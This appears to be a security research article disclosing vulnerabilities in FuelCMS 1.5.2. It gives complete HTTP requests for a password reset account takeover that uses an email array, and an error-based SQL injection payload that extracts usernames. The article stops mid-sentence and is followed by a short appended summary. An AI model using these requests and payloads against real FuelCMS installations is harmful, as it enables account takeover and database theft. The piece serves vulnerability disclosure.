ARTICLE CONTENTS Throwing a spark into FuelCMS PTT-2025-025 - Account Takeover via Email Array PTT-2025-030 - SQL Injection via Password Reset - Optional PTT-2025-026 - PHP Code Execution Via Dwoo Escape PTT-2025-027 - Improper Authorization - Honorable Mention Bonus Time Bypassing bruteforce protection What about the other 3 vulns? Potential unauthenticated deserialization? Lingering Conclusions SECURITY RESEARCH Throwing a spark into FuelCMS Author(s) Matei "Mal" Badanoiu (aka CVE Jesus) Security Research Lead Publisher Pentest-Tools.com Updated at March 06, 2026 Article tags SHARE Throwing a spark into FuelCMS Well, the merry season may be over but the fumes of past software burnt still linger. And what better example of software equivalent to a canister of benzene is there than FuelCMS? But what is FuelCMS? Well to keep it simple: FUEL CMS is a CodeIgniter(3) based content management system. What is a CMS? Relevant question, but a bit out of scope for the hacker perspective, so we will nonchalantly skip over it. We already knew that FuelCMS was vulnerable even before we started working on it, but, through our jolly research sprint, we were able to find the following 7 vulnerabilities in the latest stable release v1.5.2 (which has been dead for 4 years so take the word “latest” with a grain of salt): PTT-2025-025 - Account Takeover via Email Array PTT-2025-026 - PHP Code Execution Via Dwoo Escape PTT-2025-027 - Improper Authorization PTT-2025-028 - Authenticated RCE via Git Submodules PTT-2025-029 - Password Reset Poisoning via Host Header PTT-2025-030 - SQL Injection via Password Reset PTT-2025-031 - Sensitive File Read via Path Traversal Note: FuelCMS has a newer version of the code in the “develop” branch, but we have only tested the latest stable release 1.5.2. The cool part is that by combining PTT-2025-025 - Account Takeover via Email Array and PTT-2025-026 - PHP Code Execution Via Dwoo Escape (maybe with some PTT-2025-030 - SQL Injection via Password Reset and PTT-2025-027 - Improper Authorization sprinkled in) we get an unauthenticated 0-click Remote Code Execution (RCE) chain, the only requirements being that: The admin interface is enabled and is accessible to the attacker FuelCMS has to be able to send mails to attacker controlled addresses As a result, in this article we’ll only focus on the vulnerabilities related to the unauthenticated 0-click RCE chain, and, if you are curious about the rest, then expect to find the exploitation reports in the near future on our recently launched Offensive Security Research Hub. PTT-2025-025 - Account Takeover via Email Array Well, as a person that has a mild panic attack whenever I hear the new mail notification go off, it’s time to give people a new dimension of panic to think about. We also lovingly call PTT-2025-025 by “You’ve got Mail Mal”, as, if you use this software, we may have gotten into your mailbox. Now, if you would be so kind as to not notice me, senpai, while I take over your account, that would be great! As the name implies, because of the odd behaviour of FuelCMS/CodeIgniter3 of handling email arrays, an attacker can insert a valid email address of an application user, and then insert any number of attacker-controlled email addresses where FuelCMS will auto-magically send the “Forgot Password” mail and leak the password reset token. Note: If you haven’t already found a legitimate user’s email, refer to the “Bonus Time > Bypassing Bruteforce Protection” section to see how you can bruteforce multiple emails. The malicious HTTP forgot password request should look something like this, where aaa@localhost.localdomain is the email of a valid FuelCMS user and mal@pentest-tools.attacker is a malicious attacker controlled email: POST /index.php/fuel/login/pwd_reset HTTP/1.1 Host: 172.17.0.2 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0 Content-Type: application/x-www-form-urlencoded Cookie: ci_session=***REPLACE_ME*** Content-Length: 134 email[]=aaa@localhost.localdomain&email[]=mal@pentest-tools.attacker&Submit=Submit&ci_csrf_token_FUEL=***REPLACE_ME*** Note: For the request to work, you have to get a valid ci_session- ci_csrf_token_FUEL pair. By inspecting the resulting mail, we can see that it was sent to the two different emails specified in the above request: sender_fullname: www-data sender: www-data@smtp.ptt *** MESSAGE CONTENTS deferred/F/F1B8E44A384 *** Received: by 383bca28d7e6 (Postfix, from userid 33) id F1B8E44A384; Thu, 6 Nov 2025 16:37:59 +0100 (CET) To: aaa@localhost.localdomain, mal@pentest-tools.attacker Subject: =?UTF-8?Q?FUEL=20admin=20password=20reset=20request?= Date: Thu, 6 Nov 2025 07:37:59 -0800 From: "My Website" <admin@172.17.0.2> Reply-To: <admin@172.17.0.2> User-Agent: CodeIgniter X-Sender: admin@172.17.0.2 X-Mailer: CodeIgniter X-Priority: 3 (Normal) Message-ID: <690cc0d7eeed0@172.17.0.2> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Click the following link to reset your FUEL password: http://172.17.0.2/fuel/login/reset/d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b With the email successfully received at mal@pentest-tools.attacker, we can proceed to take and directly insert the link containing the reset password token into our browser of choice and reset the victim’s password: By inspecting the HTTP traffic, we can see the browser sends the following request: POST /fuel/login/reset/d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b HTTP/1.1 Host: 172.17.0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cookie: ci_session=***REPLACE_ME*** email=aaa%40localhost.localdomain&password=ptt&password_confirm=ptt&Submit=Submit&_token=d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b&ci_csrf_token_FUEL=***REPLACE_ME*** Note: You’ll need to insert the token twice: once in the URL and once in the _token post parameter. If the password is successfully reset, FuelCMS will return a success message in the server response. If not, it will return an error message. Here is an example of how the response looks like in the browser, when the password reset is successful: PTT-2025-030 - SQL Injection via Password Reset - Optional You can usually guess the username from the victim’s email address, but, in extreme/nonstandard scenarios, we can just simply use an … I don’t know … error based SQLi to exfiltrate the username straight from the DB. Note: An attacker can abuse this SQL in many other ways, such as changing the password of any other user besides aaa@localhost.localdomain, but, as I don’t want to double the length of this article, let’s just focus on the error based exfiltration vector. This occurs because the email and _token parameters are not sanitized when added to the resulting SQL query. Side-Note: The token in the URL is also theoretically injectable, but the $config['permitted_uri_chars'] in fuel/application/config/config.php prevents us from inserting the double quotes needed to extend the query. Also, although we can theoretically get an infinite amount of reset tokens using PTT-2025-025 - Account Takeover via Email Array, in order to not invalidate the reset token after every query we can use the following error based exfiltration request: POST /index.php/fuel/login/reset/fd9a588bbf115d548303467a2bac86309029579362fe7b22380f9c32bdc994dc HTTP/1.1 Host: 172.17.0.2 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygwmW0g0YB04ItUgz Content-Length: 854 Cookie: ci_session=***REPLACE_ME*** ------WebKitFormBoundarygwmW0g0YB04ItUgz Content-Disposition: form-data; name="email" also_injectable ------WebKitFormBoundarygwmW0g0YB04ItUgz Content-Disposition: form-data; name="password" ptt ------WebKitFormBoundarygwmW0g0YB04ItUgz Content-Disposition: form-data; name="password_confirm" ptt ------WebKitFormBoundarygwmW0g0YB04ItUgz Content-Disposition: form-data; name="Submit" Submit ------WebKitFormBoundarygwmW0g0YB04ItUgz Content-Disposition: form-data; name="_token" " and CASE WHEN (Select user_name FROM fuel_users WHERE email = "aaa@localhost.localdomain") LIKE "***BRUTEFORCE_ME***%" THEN FALSE ELSE CAST((Select 1 UNION SELECT 2) AS INT) END and 1="2 ------WebKitFormBoundarygwmW0g0YB04ItUgz Content-Disposition: form-data; name="ci_csrf_token_FUEL" ***REPLACE_ME*** ------WebKitFormBoundarygwmW0g0YB04ItUgz-- Note: As our initial token d31747db59d2b297c96e51a219874fa9644301bae8d6fb19092ad7a38e38eb8b was invalidated after successfully resetting the victim’s password, we need to get the new token fd9a588bbf115d548303467a2bac86309029579362fe7b22380f9c32bdc994dc. If you want to prevent sending multiple emails, then first use the reset token for the SQLi to exfiltrate the username and afterwards reset the victim’s password. Depending if the malicious CASE results in a true or false result, the following occurs: If true, we receive a 302 HTTP response and we find out the username starts with the letter “a” If false, we know the username doesn’t start with the letter we tried, and we receive back a 500 HTTP response. This is due to a MySQL/MariaDB error because “Subquery returns more than 1 row”. This happens because, behind the scenes, the final malicious SQL query will have the following form: SELECT `fuel_users`.* FROM `fuel_users` WHERE (`reset_key` = "" and CASE WHEN (Select user_name FROM fuel_users WHERE email = "aaa@localhost.localdomain") LIKE "***BRUTEFORCE_ME***%" THEN FALSE ELSE CAST((Select 1 UNION SELECT 2) AS INT) END and 1 = "2" AND `email` = "also_injectable") ORDER BY `id` LIMIT 1 Now it becomes a simple character, number and/or symbol bruteforce problem where we see what responses return 302, and then bruteforce the next letter. Example: ***BRUTEFORCE_ME***% => Finds first character a***BRUTEFORCE_ME***% => Second character aa***BRUTEFORCE_ME***% => Third character aaa***BRUTEFORCE_ME***% => No forth character => Most Queries should result in a 500 error To be
The article details an unauthenticated, zero-click remote code execution (RCE) chain in FuelCMS, achieved by combining an account takeover via email array (PTT-2025-025) with PHP code execution via Dwoo escape (PTT-2025-026). This attack requires the admin interface to be accessible and the system to be capable of sending emails to attacker-controlled addresses. The research was conducted against the latest stable release, FuelCMS v1.5.2, which has not been updated in four years.